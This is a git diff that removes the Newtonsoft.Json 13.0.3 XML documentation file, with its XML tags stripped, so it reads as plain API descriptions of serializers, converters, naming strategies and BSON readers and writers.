- - - - Gets or sets the property default value handling. - - The default value handling. - - - - Gets or sets the property reference loop handling. - - The reference loop handling. - - - - Gets or sets the property object creation handling. - - The object creation handling. - - - - Gets or sets or sets the type name handling. - - The type name handling. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets a predicate used to determine whether the property should be deserialized. - - A predicate used to determine whether the property should be deserialized. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets an action used to set whether the property has been deserialized. - - An action used to set whether the property has been deserialized. - - - - Returns a that represents this instance. - - - A that represents this instance. - - - - - Gets or sets the converter used when serializing the property's collection items. - - The collection's items converter. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - A collection of objects. - - - - - Initializes a new instance of the class. - - The type. - - - - When implemented in a derived class, extracts the key from the specified element. - - The element from which to extract the key. - The key for the specified element. - - - - Adds a object. - - The property to add to the collection. - - - - Gets the closest matching object. - First attempts to get an exact case match of and then - a case insensitive match. - - Name of the property. - A matching property if found. - - - - Gets a property by property name. - - The name of the property to get. - Type property name string comparison. - A matching property if found. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Lookup and create an instance of the type described by the argument. - - The type to create. - Optional arguments to pass to an initializing constructor of the JsonConverter. - If null, the default constructor is used. - - - - A kebab case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Represents a trace writer that writes to memory. When the trace message limit is - reached then old trace messages will be removed as new messages are added. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Initializes a new instance of the class. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Returns an enumeration of the most recent trace messages. - - An enumeration of the most recent trace messages. - - - - Returns a of the most recent trace messages. - - - A of the most recent trace messages. - - - - - A base class for resolving how property names and dictionary keys are serialized. - - - - - A flag indicating whether dictionary keys should be processed. - Defaults to false. - - - - - A flag indicating whether extension data names should be processed. - Defaults to false. - - - - - A flag indicating whether explicitly specified property names, - e.g. a property name customized with a , should be processed. - Defaults to false. - - - - - Gets the serialized name for a given property name. - - The initial property name. - A flag indicating whether the property has had a name explicitly specified. - The serialized property name. - - - - Gets the serialized name for a given extension data name. - - The initial extension data name. - The serialized extension data name. - - - - Gets the serialized key for a given dictionary key. - - The initial dictionary key. - The serialized dictionary key. - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Hash code calculation - - - - - - Object equality implementation - - - - - - - Compare to another NamingStrategy - - - - - - - Represents a method that constructs an object. - - The object type to create. - - - - When applied to a method, specifies that the method is called when an error occurs serializing an object. - - - - - Provides methods to get attributes from a , , or . - - - - - Initializes a new instance of the class. - - The instance to get attributes for. This parameter should be a , , or . - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Get and set values for a using reflection. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - A snake case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Specifies how strings are escaped when writing JSON text. - - - - - Only control characters (e.g. newline) are escaped. - - - - - All non-ASCII and control characters (e.g. newline) are escaped. - - - - - HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. - - - - - Specifies what messages to output for the class. - - - - - Output no tracing and debugging messages. - - - - - Output error-handling messages. - - - - - Output warnings and error-handling messages. - - - - - Output informational messages, warnings, and error-handling messages. - - - - - Output all debugging and tracing messages. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. - - - - - Specifies type name handling options for the . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Do not include the .NET type name when serializing types. - - - - - Include the .NET type name when serializing into a JSON object structure. - - - - - Include the .NET type name when serializing into a JSON array structure. - - - - - Always include the .NET type name when serializing. - - - - - Include the .NET type name when the type of the object being serialized is not the same as its declared type. - Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON - you must specify a root type object with - or . - - - - - Determines whether the collection is null or empty. - - The collection. - - true if the collection is null or empty; otherwise, false. - - - - - Adds the elements of the specified collection to the specified generic . - - The list to add to. - The collection of elements to add. - - - - Converts the value to the specified type. If the value is unable to be converted, the - value is checked whether it assignable to the specified type. - - The value to convert. - The culture to use when converting. - The type to convert or cast the value to. - - The converted type. If conversion was unsuccessful, the initial value - is returned if assignable to the target type. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic that returns a result - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Returns a Restrictions object which includes our current restrictions merged - with a restriction limiting our type - - - - - Helper class for serializing immutable collections. - Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed - https://github.com/JamesNK/Newtonsoft.Json/issues/652 - - - - - List of primitive types which can be widened. - - - - - Widening masks for primitive types above. - Index of the value in this array defines a type we're widening, - while the bits in mask define types it can be widened to (including itself). - - For example, value at index 0 defines a bool type, and it only has bit 0 set, - i.e. bool values can be assigned only to bool. - - - - - Checks if value of primitive type can be - assigned to parameter of primitive type . - - Source primitive type. - Target primitive type. - true if source type can be widened to target type, false otherwise. - - - - Checks if a set of values with given can be used - to invoke a method with specified . - - Method parameters. - Argument types. - Try to pack extra arguments into the last parameter when it is marked up with . - true if method can be called with given arguments, false otherwise. - - - - Compares two sets of parameters to determine - which one suits better for given argument types. - - - - - Returns a best method overload for given argument . - - List of method candidates. - Argument types. - Best method overload, or null if none matched. - - - - Gets the type of the typed collection's items. - - The type. - The type of the typed collection's items. - - - - Gets the member's underlying type. - - The member. - The underlying type of the member. - - - - Determines whether the property is an indexed property. - - The property. - - true if the property is an indexed property; otherwise, false. - - - - - Gets the member's value on the object. - - The member. - The target object. - The member's value on the object. - - - - Sets the member's value on the target object. - - The member. - The target. - The value. - - - - Determines whether the specified MemberInfo can be read. - - The MemberInfo to determine whether can be read. - /// if set to true then allow the member to be gotten non-publicly. - - true if the specified MemberInfo can be read; otherwise, false. - - - - - Determines whether the specified MemberInfo can be set. - - The MemberInfo to determine whether can be set. - if set to true then allow the member to be set non-publicly. - if set to true then allow the member to be set if read-only. - - true if the specified MemberInfo can be set; otherwise, false. - - - - - Builds a string. Unlike this class lets you reuse its internal buffer. - - - - - Determines whether the string is all white space. Empty string will return false. - - The string to test whether it is all white space. - - true if the string is all white space; otherwise, false. - - - - - Specifies the state of the . - - - - - An exception has been thrown, which has left the in an invalid state. - You may call the method to put the in the Closed state. - Any other method calls result in an being thrown. - - - - - The method has been called. - - - - - An object is being written. - - - - - An array is being written. - - - - - A constructor is being written. - - - - - A property is being written. - - - - - A write method has not been called. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the method is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The is used to load the assembly. - - - - Specifies that an output will not be null even if the corresponding type allows it. - - - Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. - - - Initializes the attribute with the specified return value condition. - - The return value condition. If the method returns this value, the associated parameter will not be null. - - - - Gets the return value condition. - - - Specifies that an output may be null even if the corresponding type disallows it. - - - Specifies that null is allowed as an input even if the corresponding type disallows it. - - - - Specifies that the method will not return if the associated Boolean parameter is passed the specified value. - - - - - Initializes a new instance of the class. - - - The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to - the associated parameter matches this value. - - - - Gets the condition parameter value. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.xml b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.xml deleted file mode 100644 index 3357dd61..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.xml +++ /dev/null @@ -1,11338 +0,0 @@ - - - - Newtonsoft.Json - - - - - Represents a BSON Oid (object id). - - - - - Gets or sets the value of the Oid. - - The value of the Oid. - - - - Initializes a new instance of the class. - - The Oid value. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. - - - - - Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. - - - true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. - - - - - Gets or sets a value indicating whether the root object will be read as a JSON array. - - - true if the root object will be read as a JSON array; otherwise, false. - - - - - Gets or sets the used when reading values from BSON. - - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. - - - - - Gets or sets the used when writing values to BSON. - When set to no conversion will occur. - - The used when writing values to BSON. - - - - Initializes a new instance of the class. - - The to write to. - - - - Initializes a new instance of the class. - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. - - - - - Writes the end. - - The token. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes the beginning of a JSON array. - - - - - Writes the beginning of a JSON object. - - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value that represents a BSON object id. - - The Object ID value to write. - - - - Writes a BSON regex. - - The regex pattern. - The regex options. - - - - Specifies how constructors are used when initializing objects during deserialization by the . - - - - - First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. - - - - - Json.NET will use a non-public default constructor before falling back to a parameterized constructor. - - - - - Converts a binary value to and from a base 64 string value. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Creates a custom object. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Creates an object which will then be populated by the serializer. - - Type of the object. - The created object. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Provides a base class for converting a to and from JSON. - - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a F# discriminated union type to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an Entity Framework to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). - - - - - Gets or sets the date time styles used when converting a date to and from JSON. - - The date time styles used when converting a date to and from JSON. - - - - Gets or sets the date time format used when converting a date to and from JSON. - - The date time format used when converting a date to and from JSON. - - - - Gets or sets the culture used when converting a date to and from JSON. - - The culture used when converting a date to and from JSON. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from its name string value. - - - - - Gets or sets a value indicating whether the written enum text should be camel case. - The default value is false. - - true if the written enum text will be camel case; otherwise, false. - - - - Gets or sets the naming strategy used to resolve how enum text is written. - - The naming strategy used to resolve how enum text is written. - - - - Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. - The default value is true. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - true if the written enum text will be camel case; otherwise, false. - - - - Initializes a new instance of the class. - - The naming strategy used to resolve how enum text is written. - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from Unix epoch time - - - - - Gets or sets a value indicating whether the dates before Unix epoch - should converted to and from JSON. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from a string (e.g. "1.2.3.4"). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts XML to and from JSON. - - - - - Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. - - The name of the deserialized root element. - - - - Gets or sets a value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - true if the array attribute is written to the XML; otherwise, false. - - - - Gets or sets a value indicating whether to write the root JSON object. - - true if the JSON root object is omitted; otherwise, false. - - - - Gets or sets a value indicating whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - true if special characters are encoded; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The calling serializer. - The value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Checks if the is a namespace attribute. - - Attribute name to test. - The attribute name prefix if it has one, otherwise an empty string. - true if attribute name is for a namespace attribute, otherwise false. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Specifies how dates are formatted when writing JSON text. - - - - - Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". - - - - - Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". - - - - - Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. - - - - - Date formatted strings are not parsed to a date type and are read as strings. - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Specifies how to treat the time value when converting between string and . - - - - - Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. - - - - - Treat as a UTC. If the object represents a local time, it is converted to a UTC. - - - - - Treat as a local time if a is being converted to a string. - If a string is being converted to , convert to a local time if a time zone is specified. - - - - - Time zone information should be preserved when converting. - - - - - The default JSON name table implementation. - - - - - Initializes a new instance of the class. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Adds the specified string into name table. - - The string to add. - This method is not thread-safe. - The resolved string. - - - - Specifies default value handling options for the . - - - - - - - - - Include members where the member value is the same as the member's default value when serializing objects. - Included members are written to JSON. Has no effect when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - so that it is not written to JSON. - This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, - decimals and floating point numbers; and false for booleans). The default value ignored can be changed by - placing the on the property. - - - - - Members with a default value but no JSON will be set to their default value when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - and set members to their default value when deserializing. - - - - - Specifies float format handling options when writing special floating point numbers, e.g. , - and with . - - - - - Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". - - - - - Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. - Note that this will produce non-valid JSON. - - - - - Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. - - - - - Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Floating point numbers are parsed to . - - - - - Floating point numbers are parsed to . - - - - - Specifies formatting options for the . - - - - - No special formatting is applied. This is the default. - - - - - Causes child objects to be indented according to the and settings. - - - - - Provides an interface for using pooled arrays. - - The array type content. - - - - Rent an array from the pool. This array must be returned when it is no longer needed. - - The minimum required length of the array. The returned array may be longer. - The rented array from the pool. This array must be returned when it is no longer needed. - - - - Return an array to the pool. - - The array that is being returned. - - - - Provides an interface to enable a class to return line and position information. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - The current line number or 0 if no line information is available (for example, when returns false). - - - - Gets the current line position. - - The current line position or 0 if no line information is available (for example, when returns false). - - - - Instructs the how to serialize the collection. - - - - - Gets or sets a value indicating whether null items are allowed in the collection. - - true if null items are allowed in the collection; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with a flag indicating whether the array can contain null items. - - A flag indicating whether the array can contain null items. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to use the specified constructor when deserializing that object. - - - - - Instructs the how to serialize the object. - - - - - Gets or sets the id. - - The id. - - - - Gets or sets the title. - - The title. - - - - Gets or sets the description. - - The description. - - - - Gets or sets the collection's items converter. - - The collection's items converter. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets a value that indicates whether to preserve object references. - - - true to keep object reference; otherwise, false. The default is false. - - - - - Gets or sets a value that indicates whether to preserve collection's items references. - - - true to keep collection's items object references; otherwise, false. The default is false. - - - - - Gets or sets the reference loop handling used when serializing the collection's items. - - The reference loop handling. - - - - Gets or sets the type name handling used when serializing the collection's items. - - The type name handling. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Provides methods for converting between .NET types and JSON types. - - - - - - - - Gets or sets a function that creates default . - Default settings are automatically used by serialization methods on , - and and on . - To serialize without using any default settings create a with - . - - - - - Represents JavaScript's boolean value true as a string. This field is read-only. - - - - - Represents JavaScript's boolean value false as a string. This field is read-only. - - - - - Represents JavaScript's null as a string. This field is read-only. - - - - - Represents JavaScript's undefined as a string. This field is read-only. - - - - - Represents JavaScript's positive infinity as a string. This field is read-only. - - - - - Represents JavaScript's negative infinity as a string. This field is read-only. - - - - - Represents JavaScript's NaN as a string. This field is read-only. - - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - The time zone handling when the date is converted to a string. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - The string escape handling. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Serializes the specified object to a JSON string. - - The object to serialize. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting. - - The object to serialize. - Indicates how the output should be formatted. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a collection of . - - The object to serialize. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting and a collection of . - - The object to serialize. - Indicates how the output should be formatted. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Deserializes the JSON to a .NET object. - - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to a .NET object using . - - The JSON to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The JSON to deserialize. - The of object being deserialized. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The type of the object to deserialize to. - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the given anonymous type. - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the given anonymous type using . - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred 